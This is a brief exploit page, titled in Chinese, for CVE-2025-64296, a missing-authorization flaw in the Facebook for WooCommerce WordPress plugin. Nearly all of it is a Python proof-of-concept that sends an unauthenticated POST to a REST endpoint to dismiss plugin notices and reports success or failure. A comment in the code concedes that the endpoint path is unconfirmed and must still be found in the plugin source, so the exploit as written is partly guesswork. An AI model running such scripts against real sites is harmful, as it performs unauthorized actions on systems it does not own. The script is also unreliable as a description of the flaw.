CVE-2025-64296 Facebook for WooCommerce插件缺失授权漏洞

import requests # CVE-2025-64296 PoC - Missing Authorization in Facebook for WooCommerce # Target: WordPress site with facebook-for-woocommerce plugin <= 3.5.7 target_url = "http://target-wordpress-site.com" # The vulnerable endpoint for notice dismissal # (Exact endpoint path needs to be identified from plugin source code) vulnerable_endpoint = f"{target_url}/wp-json/facebook-for-woocommerce/v1/notice/dismiss" def exploit_missing_authorization(): """ Exploit for CVE-2025-64296: Missing Authorization in notice dismissal This PoC demonstrates how an unauthenticated attacker can dismiss notices by making a direct request to the vulnerable API endpoint. """ headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Payload to dismiss notices without authentication payload = { 'notice_id': 'facebook-plugin-notice', 'dismiss': True } try: # Send unauthenticated request to vulnerable endpoint response = requests.post( vulnerable_endpoint, json=payload, headers=headers, timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] Exploit successful - Notice dismissed without authorization") else: print("[-] Exploit failed or endpoint not vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": exploit_missing_authorization()